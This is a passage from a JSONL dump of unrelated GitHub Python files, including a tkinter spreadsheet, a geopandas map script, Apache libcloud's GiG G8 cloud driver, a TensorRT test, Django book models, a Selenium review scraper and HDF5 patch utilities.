set(cellre.findall(id.formula))\r\n\r\n # Add this cell to the new requirement's dependents\r\n for r in currentreqs - id.reqs:\r\n id.siblings[r].deps.add(id.name)\r\n # Add remove this cell from dependents no longer referenced\r\n for r in id.reqs - currentreqs:\r\n id.siblings[r].deps.remove(id.name)\r\n\r\n # Look up the values of our required cells\r\n reqvalues = {r: id.siblings[r].value for r in currentreqs}\r\n # Build an environment with these values and basic math functions\r\n environment = ChainMap(math.__dict__, reqvalues)\r\n # Note that eval is DANGEROUS and should not be used in production\r\n id.value = eval(id.formula, {}, environment)\r\n\r\n id.var.set(id.value)\r\n\r\n def propagate(id):\r\n for d in id.deps:\r\n id.siblings[d].calculate()\r\n id.siblings[d].propagate()\r\n\r\n def edit(id, event):\r\n id.var.set(id.formula)\r\n id.widget.select_range(0, tk.END)\r\n\r\n def update(id, event):\r\n id.formula = id.var.get()\r\n id.calculate()\r\n id.propagate()\r\n # If this was after pressing Return, keep showing the formula\r\n if hasattr(event, \"keysym\") and event.keysym == \"Return\":\r\n id.var.set(id.formula)\r\n\r\n\r\nclass SpreadSheet(tk.Frame):\r\n def __init__(id, rows, cols, master=None):\r\n super().__init__(master)\r\n id.rows = rows\r\n id.cols = cols\r\n id.cells = {}\r\n\r\n id.pack()\r\n id.create_widgets()\r\n\r\n def create_widgets(id):\r\n # Frame for all the cells\r\n id.cellframe = tk.Frame(id)\r\n id.cellframe.pack(side=\"top\")\r\n\r\n # Column labels\r\n blank = tk.Label(id.cellframe)\r\n blank.grid(row=0, column=0)\r\n for j in range(id.cols):\r\n label = tk.Label(id.cellframe, text=chr(ord(\"A\") + j))\r\n label.grid(row=0, column=j + 1)\r\n\r\n # Fill in the rows\r\n for i in range(id.rows):\r\n rowlabel = tk.Label(id.cellframe, text=str(i + 1))\r\n rowlabel.grid(row=1 + i, column=0)\r\n for j in range(id.cols):\r\n cell = Cell(i, j, id.cells, id.cellframe)\r\n id.cells[cell.name] = cell\r\n cell.widget.grid(row=1 + i, column=1 + j)\r\n\r\n\r\nroot = tk.Tk()\r\napp = SpreadSheet(Nrows, Ncols, master=root)\r\napp.mainloop()\r\n","repo_name":"growcacti/Useful-tkinter-code_snips","sub_path":"pyspreadsheet.py","file_name":"pyspreadsheet.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33490608577","text":"\r\nimport os\r\nos.chdir(r'C:\\Users\\vivek\\Downloads\\Chile')\r\n\r\nimport pandas as pd \r\nimport matplotlib.pyplot as plt \r\nimport descartes\r\nimport geopandas as gpd \r\nfrom shapely.geometry import Point, Polygon\r\n\r\n# natural map of chile\r\nchile_natural=gpd.read_file(r'natural\\natural.shp')\r\nchile_natural=chile_natural.to_crs(crs='epsg:4326')\r\nchile_natural.plot()\r\nchile_natural.head()\r\n\r\n#places\r\nchile_places=gpd.read_file(r'places\\places.shp')\r\nchile_places=chile_places.to_crs(crs='epsg:4326')\r\nchile_places.plot()\r\nchile_places.head()\r\n\r\n# Import map of Canada\r\nchile_landuse=gpd.read_file('landuse\\landuse.shp')\r\nchile_landuse=chile_landuse.to_crs(crs='epsg:4326')\r\n# sub_basins.plot()\r\n# map_can.head()\r\nchile_landuse.plot()\r\n\r\n# buildings\r\nchile_buildings=gpd.read_file(r'buildings\\buildings.shp')\r\nchile_buildings=chile_buildings.to_crs(crs='epsg:4326')\r\nchile_buildings.plot()\r\nchile_buildings.head()\r\n\r\n","repo_name":"vivekparasharr/Challenges-and-Competitions","sub_path":"30DayMapChallenge/18112020-Landuse.py","file_name":"18112020-Landuse.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"23689719852","text":"import json\n\nfrom libcloud.compute.base import (\n Node,\n NodeSize,\n NodeImage,\n UuidMixin,\n NodeDriver,\n StorageVolume,\n NodeAuthSSHKey,\n)\nfrom libcloud.common.gig_g8 import G8Connection\nfrom libcloud.compute.types import Provider, NodeState\nfrom libcloud.common.exceptions import BaseHTTPError\n\n\nclass G8ProvisionError(Exception):\n pass\n\n\nclass G8PortForward(UuidMixin):\n def __init__(self, network, node_id, publicport, privateport, protocol, driver):\n self.node_id = node_id\n self.network = network\n self.publicport = int(publicport)\n self.privateport = int(privateport)\n self.protocol = protocol\n self.driver = driver\n UuidMixin.__init__(self)\n\n def destroy(self):\n self.driver.ex_delete_portforward(self)\n\n\nclass G8Network(UuidMixin):\n \"\"\"\n G8 Network object class.\n\n This class maps to a cloudspace\n\n \"\"\"\n\n def __init__(self, id, name, cidr, publicipaddress, driver, extra=None):\n self.id = id\n self.name = name\n self._cidr = cidr\n self.driver = driver\n self.publicipaddress = publicipaddress\n self.extra = extra\n UuidMixin.__init__(self)\n\n @property\n def cidr(self):\n \"\"\"\n Cidr is not part of the list result\n we will lazily fetch it with a get request\n \"\"\"\n if self._cidr is None:\n networkdata = self.driver._api_request(\"/cloudspaces/get\", {\"cloudspaceId\": self.id})\n self._cidr = networkdata[\"privatenetwork\"]\n return self._cidr\n\n def list_nodes(self):\n return self.driver.list_nodes(self)\n\n def destroy(self):\n return self.driver.ex_destroy_network(self)\n\n def list_portforwards(self):\n return self.driver.ex_list_portforwards(self)\n\n def create_portforward(self, node, publicport, privateport, protocol=\"tcp\"):\n return self.driver.ex_create_portforward(self, node, publicport, privateport, protocol)\n\n\nclass G8NodeDriver(NodeDriver):\n \"\"\"\n GiG G8 node driver\n\n \"\"\"\n\n NODE_STATE_MAP = {\n \"VIRTUAL\": NodeState.PENDING,\n \"HALTED\": NodeState.STOPPED,\n \"RUNNING\": NodeState.RUNNING,\n \"DESTROYED\": NodeState.TERMINATED,\n \"DELETED\": NodeState.TERMINATED,\n \"PAUSED\": NodeState.PAUSED,\n \"ERROR\": NodeState.ERROR,\n # transition states\n \"DEPLOYING\": NodeState.PENDING,\n \"STOPPING\": NodeState.STOPPING,\n \"MOVING\": NodeState.MIGRATING,\n \"RESTORING\": NodeState.PENDING,\n \"STARTING\": NodeState.STARTING,\n \"PAUSING\": NodeState.PENDING,\n \"RESUMING\": NodeState.PENDING,\n \"RESETTING\": NodeState.REBOOTING,\n \"DELETING\": NodeState.TERMINATED,\n \"DESTROYING\": NodeState.TERMINATED,\n \"ADDING_DISK\": NodeState.RECONFIGURING,\n \"ATTACHING_DISK\": NodeState.RECONFIGURING,\n \"DETACHING_DISK\": NodeState.RECONFIGURING,\n \"ATTACHING_NIC\": NodeState.RECONFIGURING,\n \"DETTACHING_NIC\": NodeState.RECONFIGURING,\n \"DELETING_DISK\": NodeState.RECONFIGURING,\n \"CHANGING_DISK_LIMITS\": NodeState.RECONFIGURING,\n \"CLONING\": NodeState.PENDING,\n \"RESIZING\": NodeState.RECONFIGURING,\n \"CREATING_TEMPLATE\": NodeState.PENDING,\n }\n\n name = \"GiG G8 Node Provider\"\n website = \"https://gig.tech\"\n type = Provider.GIG_G8\n connectionCls = G8Connection\n\n def __init__(self, user_id, key, api_url):\n # type (int, str, str) -> None\n \"\"\"\n :param key: Token to use for api (jwt)\n :type key: ``str``\n :param user_id: Id of the account to connect to (accountId)\n :type user_id: ``int``\n :param api_url: G8 api url\n :type api_url: ``str``\n\n :rtype: ``None``\n \"\"\"\n self._apiurl = api_url.rstrip(\"/\")\n super().__init__(key=key)\n self._account_id = user_id\n self._location_data = None\n\n def _ex_connection_class_kwargs(self):\n return {\"url\": self._apiurl}\n\n def _api_request(self, endpoint, params=None):\n return self.connection.request(\n endpoint.lstrip(\"/\"), data=json.dumps(params), method=\"POST\"\n ).object\n\n @property\n def _location(self):\n if self._location_data is None:\n self._location_data = self._api_request(\"/locations/list\")[0]\n return self._location_data\n\n def create_node(\n self,\n name,\n image,\n ex_network,\n ex_description,\n size=None,\n auth=None,\n ex_create_attr=None,\n ex_expose_ssh=False,\n ):\n # type (str, Image, G8Network, str, Size,\n # Optional[NodeAuthSSHKey], Optional[Dict], bool) -> Node\n \"\"\"\n Create a node.\n\n The `ex_create_attr` parameter can include the following dictionary\n key and value pairs:\n\n * `memory`: ``int`` Memory in MiB\n (only used if size is None and vcpus is passed\n * `vcpus`: ``int`` Amount of vcpus\n (only used if size is None and memory is passed)\n * `disk_size`: ``int`` Size of bootdisk\n defaults to minimumsize of the image\n * `user_data`: ``str`` for cloud-config data\n * `private_ip`: ``str`` Private Ip inside network\n * `data_disks`: ``list(int)`` Extra data disks to assign\n to vm list of disk sizes in GiB\n\n :param name: the name to assign the vm\n :type name: ``str``\n\n :param size: the plan size to create\n mutual exclusive with `memory` `vcpus`\n :type size: :class:`NodeSize`\n\n :param image: which distribution to deploy on the vm\n :type image: :class:`NodeImage`\n\n :param network: G8 Network to place vm in\n :type size: :class:`G8Network`\n\n :param ex_description: Description of vm\n :type size: : ``str``\n\n :param auth: an SSH key\n :type auth: :class:`NodeAuthSSHKey`\n\n :param ex_create_attr: A dictionary of optional attributes for\n vm creation\n :type ex_create_attr: ``dict``\n\n :param ex_expose_ssh: Create portforward for ssh port\n :type ex_expose_ssh: int\n\n :return: The newly created node.\n :rtype: :class:`Node`\n \"\"\"\n params = {\n \"name\": name,\n \"imageId\": int(image.id),\n \"cloudspaceId\": int(ex_network.id),\n \"description\": ex_description,\n }\n\n ex_create_attr = ex_create_attr or {}\n if size:\n params[\"sizeId\"] = int(size.id)\n else:\n params[\"memory\"] = ex_create_attr[\"memory\"]\n params[\"vcpus\"] = ex_create_attr[\"vcpus\"]\n if \"user_data\" in ex_create_attr:\n params[\"userdata\"] = ex_create_attr[\"user_data\"]\n if \"data_disks\" in ex_create_attr:\n params[\"datadisks\"] = ex_create_attr[\"data_disks\"]\n if \"private_ip\" in ex_create_attr:\n params[\"privateIp\"] = ex_create_attr[\"private_ip\"]\n if \"disk_size\" in ex_create_attr:\n params[\"disksize\"] = ex_create_attr[\"disk_size\"]\n else:\n params[\"disksize\"] = image.extra[\"min_disk_size\"]\n if auth and isinstance(auth, NodeAuthSSHKey):\n userdata = params.setdefault(\"userdata\", {})\n users = userdata.setdefault(\"users\", [])\n root = None\n for user in users:\n if user[\"name\"] == \"root\":\n root = user\n break\n else:\n root = {\"name\": \"root\", \"shell\": \"/bin/bash\"}\n users.append(root)\n keys = root.setdefault(\"ssh-authorized-keys\", [])\n keys.append(auth.pubkey)\n elif auth:\n error = \"Auth type {} is not implemented\".format(type(auth))\n raise NotImplementedError(error)\n\n machineId = self._api_request(\"/machines/create\", params)\n machine = self._api_request(\"/machines/get\", params={\"machineId\": machineId})\n node = self._to_node(machine, ex_network)\n if ex_expose_ssh:\n port = self.ex_expose_ssh_node(node)\n node.extra[\"ssh_port\"] = port\n node.extra[\"ssh_ip\"] = ex_network.publicipaddress\n return node\n\n def _find_ssh_ports(self, ex_network, node):\n forwards = ex_network.list_portforwards()\n usedports = []\n result = {\"node\": None, \"network\": usedports}\n for forward in forwards:\n usedports.append(forward.publicport)\n if forward.node_id == node.id and forward.privateport == 22:\n result[\"node\"] = forward.privateport\n return result\n\n def ex_expose_ssh_node(self, node):\n \"\"\"\n Create portforward for ssh purposed\n\n :param node: Node to expose ssh for\n :type node: ``Node``\n\n :rtype: ``int``\n \"\"\"\n\n network = node.extra[\"network\"]\n ports = self._find_ssh_ports(network, node)\n if ports[\"node\"]:\n return ports[\"node\"]\n usedports = ports[\"network\"]\n sshport = 2200\n endport = 3000\n while sshport < endport:\n while sshport in usedports:\n sshport += 1\n try:\n network.create_portforward(node, sshport, 22)\n node.extra[\"ssh_port\"] = sshport\n node.extra[\"ssh_ip\"] = network.publicipaddress\n break\n except BaseHTTPError as e:\n if e.code == 409:\n # port already used maybe raise let's try next\n usedports.append(sshport)\n raise\n else:\n raise G8ProvisionError(\"Failed to create portforward\")\n return sshport\n\n def ex_create_network(self, name, private_network=\"192.168.103.0/24\", type=\"vgw\"):\n # type (str, str, str) -> G8Network\n \"\"\"\n Create network also known as cloudspace\n\n :param name: the name to assign to the network\n :type name: ``str``\n\n :param private_network: subnet used as private network\n :type private_network: ``str``\n\n :param type: type of the gateway vgw or routeros\n :type type: ``str``\n \"\"\"\n userinfo = self._api_request(\"../system/usermanager/whoami\")\n params = {\n \"accountId\": self._account_id,\n \"privatenetwork\": private_network,\n \"access\": userinfo[\"name\"],\n \"name\": name,\n \"location\": self._location[\"locationCode\"],\n \"type\": type,\n }\n networkid = self._api_request(\"/cloudspaces/create\", params)\n network = self._api_request(\"/cloudspaces/get\", {\"cloudspaceId\": networkid})\n return self._to_network(network)\n\n def ex_destroy_network(self, network):\n # type (G8Network) -> bool\n self._api_request(\"/cloudspaces/delete\", {\"cloudspaceId\": int(network.id)})\n return True\n\n def stop_node(self, node):\n # type (Node) -> bool\n \"\"\"\n Stop virtual machine\n \"\"\"\n node.state = NodeState.STOPPING\n self._api_request(\"/machines/stop\", {\"machineId\": int(node.id)})\n node.state = NodeState.STOPPED\n return True\n\n def ex_list_portforwards(self, network):\n # type (G8Network) -> List[G8PortForward]\n data = self._api_request(\"/portforwarding/list\", {\"cloudspaceId\": int(network.id)})\n forwards = []\n for forward in data:\n forwards.append(self._to_port_forward(forward, network))\n return forwards\n\n def ex_create_portforward(self, network, node, publicport, privateport, protocol=\"tcp\"):\n # type (G8Network, Node, int, int, str) -> G8PortForward\n params = {\n \"cloudspaceId\": int(network.id),\n \"machineId\": int(node.id),\n \"localPort\": privateport,\n \"publicPort\": publicport,\n \"publicIp\": network.publicipaddress,\n \"protocol\": protocol,\n }\n self._api_request(\"/portforwarding/create\", params)\n return self._to_port_forward(params, network)\n\n def ex_delete_portforward(self, portforward):\n # type (G8PortForward) -> bool\n params = {\n \"cloudspaceId\": int(portforward.network.id),\n \"publicIp\": portforward.network.publicipaddress,\n \"publicPort\": portforward.publicport,\n \"proto\": portforward.protocol,\n }\n self._api_request(\"/portforwarding/deleteByPort\", params)\n return True\n\n def start_node(self, node):\n # type (Node) -> bool\n \"\"\"\n Start virtual machine\n \"\"\"\n node.state = NodeState.STARTING\n self._api_request(\"/machines/start\", {\"machineId\": int(node.id)})\n node.state = NodeState.RUNNING\n return True\n\n def ex_list_networks(self):\n # type () -> List[G8Network]\n \"\"\"\n Return the list of networks.\n\n :return: A list of network objects.\n :rtype: ``list`` of :class:`G8Network`\n \"\"\"\n networks = []\n for network in self._api_request(\"/cloudspaces/list\"):\n if network[\"accountId\"] == self._account_id:\n networks.append(self._to_network(network))\n return networks\n\n def list_sizes(self):\n # type () -> List[Size]\n \"\"\"\n Returns a list of node sizes as a cloud provider might have\n\n \"\"\"\n location = self._location[\"locationCode\"]\n\n sizes = []\n for size in self._api_request(\"/sizes/list\", {\"location\": location}):\n sizes.extend(self._to_size(size))\n return sizes\n\n def list_nodes(self, ex_network=None):\n # type (Optional[G8Network]) -> List[Node]\n \"\"\"\n List the nodes known to a particular driver;\n There are two default nodes created at the beginning\n \"\"\"\n\n def _get_ssh_port(forwards, node):\n for forward in forwards:\n if forward.node_id == node.id and forward.privateport == 22:\n return forward\n\n if ex_network:\n networks = [ex_network]\n else:\n networks = self.ex_list_networks()\n nodes = []\n for network in networks:\n nodes_list = self._api_request(\"/machines/list\", params={\"cloudspaceId\": network.id})\n forwards = network.list_portforwards()\n for nodedata in nodes_list:\n node = self._to_node(nodedata, network)\n sshforward = _get_ssh_port(forwards, node)\n if sshforward:\n node.extra[\"ssh_port\"] = sshforward.publicport\n node.extra[\"ssh_ip\"] = network.publicipaddress\n nodes.append(node)\n return nodes\n\n def reboot_node(self, node):\n # type (Node) -> bool\n \"\"\"\n Reboot node\n returns True as if the reboot had been successful.\n \"\"\"\n node.state = NodeState.REBOOTING\n self._api_request(\"/machines/reboot\", {\"machineId\": int(node.id)})\n node.state = NodeState.RUNNING\n return True\n\n def destroy_node(self, node):\n # type (Node) -> bool\n \"\"\"\n Destroy node\n \"\"\"\n self._api_request(\"/machines/delete\", {\"machineId\": int(node.id)})\n return True\n\n def list_images(self):\n # type () -> List[Image]\n \"\"\"\n Returns a list of images as a cloud provider might have\n\n @inherits: :class:`NodeDriver.list_images`\n \"\"\"\n images = []\n for image in self._api_request(\"/images/list\", {\"accountId\": self._account_id}):\n images.append(self._to_image(image))\n return images\n\n def list_volumes(self):\n # type () -> List[StorageVolume]\n volumes = []\n for disk in self._api_request(\"/disks/list\", {\"accountId\": self._account_id}):\n if disk[\"status\"] not in [\"ASSIGNED\", \"CREATED\"]:\n continue\n volumes.append(self._to_volume(disk))\n return volumes\n\n def create_volume(self, size, name, ex_description, ex_disk_type=\"D\"):\n # type (int, str, str, Optional[str]) -> StorageVolume\n \"\"\"\n Create volume\n\n :param size: Size of the volume to create in GiB\n :type size: ``int``\n\n :param name: Name of the volume\n :type name: ``str``\n\n :param description: Description of the volume\n :type description: ``str``\n\n :param disk_type: Type of the disk depending on the G8\n D for datadisk is always available\n :type disk_type: ``str``\n\n :rtype: class:`StorageVolume`\n \"\"\"\n params = {\n \"size\": size,\n \"name\": name,\n \"type\": ex_disk_type,\n \"description\": ex_description,\n \"gid\": self._location[\"gid\"],\n \"accountId\": self._account_id,\n }\n diskId = self._api_request(\"/disks/create\", params)\n disk = self._api_request(\"/disks/get\", {\"diskId\": diskId})\n return self._to_volume(disk)\n\n def destroy_volume(self, volume):\n # type (StorageVolume) -> bool\n self._api_request(\"/disks/delete\", {\"diskId\": int(volume.id)})\n return True\n\n def attach_volume(self, node, volume):\n # type (Node, StorageVolume) -> bool\n params = {\"machineId\": int(node.id), \"diskId\": int(volume.id)}\n self._api_request(\"/machines/attachDisk\", params)\n return True\n\n def detach_volume(self, node, volume):\n # type (Node, StorageVolume) -> bool\n params = {\"machineId\": int(node.id), \"diskId\": int(volume.id)}\n self._api_request(\"/machines/detachDisk\", params)\n return True\n\n def _to_volume(self, data):\n # type (dict) -> StorageVolume\n extra = {\"type\": data[\"type\"], \"node_id\": data.get(\"machineId\")}\n return StorageVolume(\n id=str(data[\"id\"]),\n size=data[\"sizeMax\"],\n name=data[\"name\"],\n driver=self,\n extra=extra,\n )\n\n def _to_node(self, nodedata, ex_network):\n # type (dict) -> Node\n state = self.NODE_STATE_MAP.get(nodedata[\"status\"], NodeState.UNKNOWN)\n public_ips = []\n private_ips = []\n nics = nodedata.get(\"nics\", [])\n if not nics:\n nics = nodedata.get(\"interfaces\", [])\n for nic in nics:\n if nic[\"type\"] == \"PUBLIC\":\n public_ips.append(nic[\"ipAddress\"].split(\"/\")[0])\n else:\n private_ips.append(nic[\"ipAddress\"])\n extra = {\"network\": ex_network}\n for account in nodedata.get(\"accounts\", []):\n extra[\"password\"] = account[\"password\"]\n extra[\"username\"] = account[\"login\"]\n\n return Node(\n id=str(nodedata[\"id\"]),\n name=nodedata[\"name\"],\n driver=self,\n public_ips=public_ips,\n private_ips=private_ips,\n state=state,\n extra=extra,\n )\n\n def _to_network(self, network):\n # type (dict) -> G8Network\n return G8Network(\n str(network[\"id\"]),\n network[\"name\"],\n None,\n network[\"externalnetworkip\"],\n self,\n )\n\n def _to_image(self, image):\n # type (dict) -> Image\n extra = {\n \"min_disk_size\": image[\"bootDiskSize\"],\n \"min_memory\": image[\"memory\"],\n }\n return NodeImage(id=str(image[\"id\"]), name=image[\"name\"], driver=self, extra=extra)\n\n def _to_size(self, size):\n # type (dict) -> Size\n sizes = []\n for disk in size[\"disks\"]:\n sizes.append(\n NodeSize(\n id=str(size[\"id\"]),\n name=size[\"name\"],\n ram=size[\"memory\"],\n disk=disk,\n driver=self,\n extra={\"vcpus\": size[\"vcpus\"]},\n bandwidth=0,\n price=0,\n )\n )\n return sizes\n\n def _to_port_forward(self, data, ex_network):\n # type (dict, G8Network) -> G8PortForward\n return G8PortForward(\n ex_network,\n str(data[\"machineId\"]),\n data[\"publicPort\"],\n data[\"localPort\"],\n data[\"protocol\"],\n self,\n )\n\n\nif __name__ == \"__main__\":\n import doctest\n\n doctest.testmod()\n","repo_name":"apache/libcloud","sub_path":"libcloud/compute/drivers/gig_g8.py","file_name":"gig_g8.py","file_ext":"py","file_size_in_byte":20462,"program_lang":"python","lang":"en","doc_type":"code","stars":1969,"dataset":"github-code","pt":"37"} +{"seq_id":"20885532109","text":"import torch\nimport numpy as np\nfrom torchvision.models import resnet18\n\nfrom tensorrt_models import convertONNX, TRTModel\n\nmodel = resnet18(pretrained=True)\nmodel.eval()\n\nmodel = model.cuda()\nd = torch.ones(1, 3, 224, 224).cuda()\n\nout = model(d)\nprint(out[0][:10])\n\nda = {\"input\": {0:\"batch_size\"}}\ntorch.onnx.export(model, d, \"resnet.onnx\", verbose=False, input_names=[\"input\"], opset_version=9, dynamic_axes=da)\n\n\nconvertONNX(\"resnet.onnx\", logs_path=\"logs.txt\")\n\nmodeltrt = TRTModel(\"resnet.engine\")\n\nx = np.ones((1, 3, 224, 224), dtype=np.float32)\n\nout2 = modeltrt.apply(x)\n\nprint(out2[0][:10])\n\n","repo_name":"wyukai/tensorrt_models","sub_path":"samples/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"22113678600","text":"import pendulum\nfrom django.db import models\n\n\nclass Book(models.Model):\n title = models.CharField(max_length=300)\n publishedDate = models.DateField()\n authors = models.ManyToManyField('Author')\n categories = models.ManyToManyField('Category', blank=True)\n average_rating = models.IntegerField(null=True, blank=True)\n ratings_count = models.IntegerField(null=True, blank=True)\n thumbnail = models.URLField(null=True, blank=True)\n\n @classmethod\n def create(cls, **kwargs):\n volumeInfo = kwargs['volumeInfo']\n book = cls.objects.create(\n title=volumeInfo['title'],\n publishedDate=pendulum.parse(volumeInfo['publishedDate']).date()\n )\n\n for authorBook in volumeInfo['authors']:\n author, created = Author.objects.get_or_create(full_name=authorBook)\n book.authors.add(author)\n if 'averageRating' in volumeInfo.keys():\n book.average_rating = volumeInfo['averageRating']\n elif 'categories' in volumeInfo.keys():\n for category in volumeInfo['categories']:\n category, created = Category.objects.get_or_create(title=category)\n book.categories.add(category)\n elif 'imageLinks' in volumeInfo.keys():\n book.thumbnail = volumeInfo['imageLinks']['thumbnail']\n elif 'ratingsCount' in volumeInfo.keys():\n book.ratings_count = volumeInfo['ratingsCount']\n\n return book\n\n @classmethod\n def update_or_create(cls, **kwargs):\n volumeInfo = kwargs['volumeInfo']\n updated_values = {}\n if 'averageRating' in volumeInfo.keys():\n updated_values['average_rating'] = volumeInfo['averageRating']\n elif 'imageLinks' in volumeInfo.keys():\n updated_values['thumbnail'] = volumeInfo['imageLinks']['thumbnail']\n elif 'ratingsCount' in volumeInfo.keys():\n updated_values['ratings_count'] = volumeInfo['ratingsCount']\n\n book, created = cls.objects.update_or_create(\n title=volumeInfo['title'],\n publishedDate=pendulum.parse(volumeInfo['publishedDate']).date(),\n defaults=updated_values\n )\n\n for authorBook in volumeInfo['authors']:\n author, created = Author.objects.get_or_create(full_name=authorBook)\n book.authors.add(author)\n\n if 'categories' in volumeInfo.keys():\n for category in volumeInfo['categories']:\n category, created = Category.objects.get_or_create(title=category)\n book.categories.add(category)\n\n return book\n\n\nclass Author(models.Model):\n full_name = models.CharField(max_length=100, unique=True)\n\n def __str__(self):\n return f'{self.full_name}'\n\n\nclass Category(models.Model):\n title = models.CharField(max_length=200, unique=True)\n\n def __str__(self):\n return f'{self.title}'\n\n\n","repo_name":"ElaKaptsilava/library-DRF","sub_path":"core/library/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29672812533","text":"import requests\r\nimport bs4\r\nfrom selenium import webdriver\r\n\r\ndef main():\r\n while True:\r\n # ask for the user to enter the url\r\n url = input('URL: ')\r\n try:\r\n # download the page\r\n driver = webdriver.Chrome()\r\n driver.implicitly_wait(30)\r\n driver.get(url)\r\n driver.implicitly_wait(10)\r\n response = driver.page_source\r\n get_review(response)\r\n break\r\n except Exception as e:\r\n # print the error\r\n print(e)\r\n # ask the user to quit or enter url again\r\n prompt = input('Press Q to quit or press another key to enter another url: ')\r\n if prompt.lower() == 'q':\r\n return\r\n # ask the user to enter the webpage again\r\n print('Please insert the url again')\r\n\r\n\r\ndef get_review(response):\r\n review_soup = bs4.BeautifulSoup(response,features=\"lxml\")\r\n while True:\r\n # Ask the user to insert user's nick and date\r\n print('please insert nick and date like nick date time e.g København 03/11/2020 17:18')\r\n nick_date = input('nick date time:')\r\n # get nick date and time.\r\n separate = nick_date.split(' ')\r\n if len(separate) == 3:\r\n nick, date, time = separate\r\n # get nick class elements\r\n element_nick = review_soup.select('.nick')\r\n # get the nick names\r\n nick_names = [x.getText().strip() for x in element_nick]\r\n # get review date class elements\r\n element_date = review_soup.select('.review__date')\r\n # get the review dates\r\n review_date = [x.getText().strip() for x in element_date]\r\n # change 12/23/45 to 12.34.45\r\n date = date.split('/')\r\n date = '.'.join(date)\r\n if nick in nick_names and date + '\\xa0' + time in review_date:\r\n element = element_nick[nick_names.index(nick)]\r\n # get the parent of the element\r\n parent = element.parent.parent\r\n # get unique code of the review\r\n code = parent['id'][16:]\r\n # get the review paragraph\r\n review_element = review_soup.select('.review-content-' + code)\r\n # print the result\r\n print(review_element[0].getText()[0:30])\r\n # review helpful\r\n helpful = review_soup.select('.js-add-vote')\r\n i = 0\r\n print('Review Helpful')\r\n for link in helpful:\r\n if link['data-post-id'] == code:\r\n # get and print the votes\r\n vote = link.select('span')\r\n # if it is the first element print it is helpful\r\n if i == 0:\r\n print(\"Helpful :)\", vote[0].getText())\r\n # if it is second element print not helpful\r\n i += 1\r\n else:\r\n print(\"Not helpful :(\", vote[0].getText())\r\n return\r\n else:\r\n print('Nick or date is not found')\r\n prompt = input('Press Q to quit or press another key to enter another nick date: ')\r\n if prompt.lower() == 'q':\r\n return\r\n # ask the user to enter the webpage again\r\n print('Please insert the nick and date again')\r\n else:\r\n print('Nick and date format is not correct')\r\n prompt = input('Press Q to quit or press another key to enter another nick date: ')\r\n if prompt.lower() == 'q':\r\n return\r\n # ask the user to enter the webpage again\r\n print('Please insert the nick and date again')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"ermidebebe/Web-scrapper","sub_path":"review_scrapping.py","file_name":"review_scrapping.py","file_ext":"py","file_size_in_byte":3922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74269926826","text":"import h5py\nimport numpy as np\nfrom PIL import Image\nfrom matplotlib import pyplot as plt\n\n\n\ndef load_hdf5(infile):\n with h5py.File(infile,\"r\") as f: #\"with\" close the file after its nested commands\n return f[\"image\"][()]\n\ndef write_hdf5(arr,outfile):\n with h5py.File(outfile,\"w\") as f:\n f.create_dataset(\"image\", data=arr, dtype=arr.dtype)\n\n\ndef pred_to_imgs(pred, patch_height, patch_width, mode=\"original\"):\n #assert (len(pred.shape)==3) #3D array: (Npatches,height*width,2)\n #assert (pred.shape[2]==2 ) #check the classes are 2\n pred_images = np.empty((pred.shape[0],pred.shape[1])) #(Npatches,height*width)\n if mode==\"original\":\n pred_images = pred[:,:,0]\n elif mode==\"threshold\":\n for i in range(pred.shape[0]):\n for pix in range(pred.shape[1]):\n if pred[i,pix,1]>=0.5:\n pred_images[i,pix]=1\n else:\n pred_images[i,pix]=0\n else:\n print(\"mode \" +str(mode) +\" not recognized, it can be 'original' or 'threshold'\")\n exit()\n pred_images = np.reshape(pred_images,(pred_images.shape[0],1, patch_height, patch_width))\n return pred_images\n\ndef pred_to_imgs_3classes(pred, patch_height, patch_width, mode=\"original\"):\n pred_images_c1 = np.empty((pred.shape[0],pred.shape[1])) #(Npatches,height*width)\n pred_images_c2 = np.empty((pred.shape[0], pred.shape[1])) # (Npatches,height*width)\n pred_images_c3 = np.empty((pred.shape[0], pred.shape[1])) # (Npatches,height*width)\n if mode==\"original\":\n pred_images_c1 = pred[:,:,0]\n pred_images_c2 = pred[:, :, 1]\n pred_images_c3 = pred[:, :, 2]\n else:\n print(\"mode \" +str(mode) +\" not recognized, it can be 'original' or 'threshold'\")\n exit()\n pred_images_c1 = np.reshape(pred_images_c1,(pred_images_c1.shape[0],1, patch_height, patch_width))\n pred_images_c2 = np.reshape(pred_images_c2, (pred_images_c2.shape[0], 1, patch_height, patch_width))\n pred_images_c3 = np.reshape(pred_images_c3, (pred_images_c3.shape[0], 1, patch_height, patch_width))\n return pred_images_c1,pred_images_c2,pred_images_c3\n\n\ndef pad_image(img,pad_r,pad_c):\n #rows\n top_pad = img[0:pad_r,...]\n top_pad = top_pad[::-1,...]\n botton_pad = img[img.shape[0]:img.shape[0]-(pad_r+1):-1,...]\n img2 = np.concatenate((top_pad,img,botton_pad),axis=0)\n #cols\n left_pad = img2[:,0:pad_c,:]\n left_pad = left_pad[:,::-1,:]\n right_pad = img2[:,img2.shape[1]:img2.shape[1]-(pad_c+1):-1,:]\n img3 = np.concatenate((left_pad,img2,right_pad),axis=1)\n\n return img3\n\n\n# from http://jamesgregson.ca/extract-image-patches-in-python.html\n\ndef extract_grayscale_patches( img, shape, offset=(0,0), stride=(1,1) ):\n \"\"\"Extracts (typically) overlapping regular patches from a grayscale image\n\n Changing the offset and stride parameters will result in images\n reconstructed by reconstruct_from_grayscale_patches having different\n dimensions! Callers should pad and unpad as necessary!\n\n Args:\n img (HxW ndarray): input image from which to extract patches\n\n shape (2-element arraylike): shape of that patches as (h,w)\n\n offset (2-element arraylike): offset of the initial point as (y,x)\n\n stride (2-element arraylike): vertical and horizontal strides\n\n Returns:\n patches (ndarray): output image patches as (N,shape[0],shape[1]) array\n\n origin (2-tuple): array of top and array of left coordinates\n \"\"\"\n px, py = np.meshgrid( 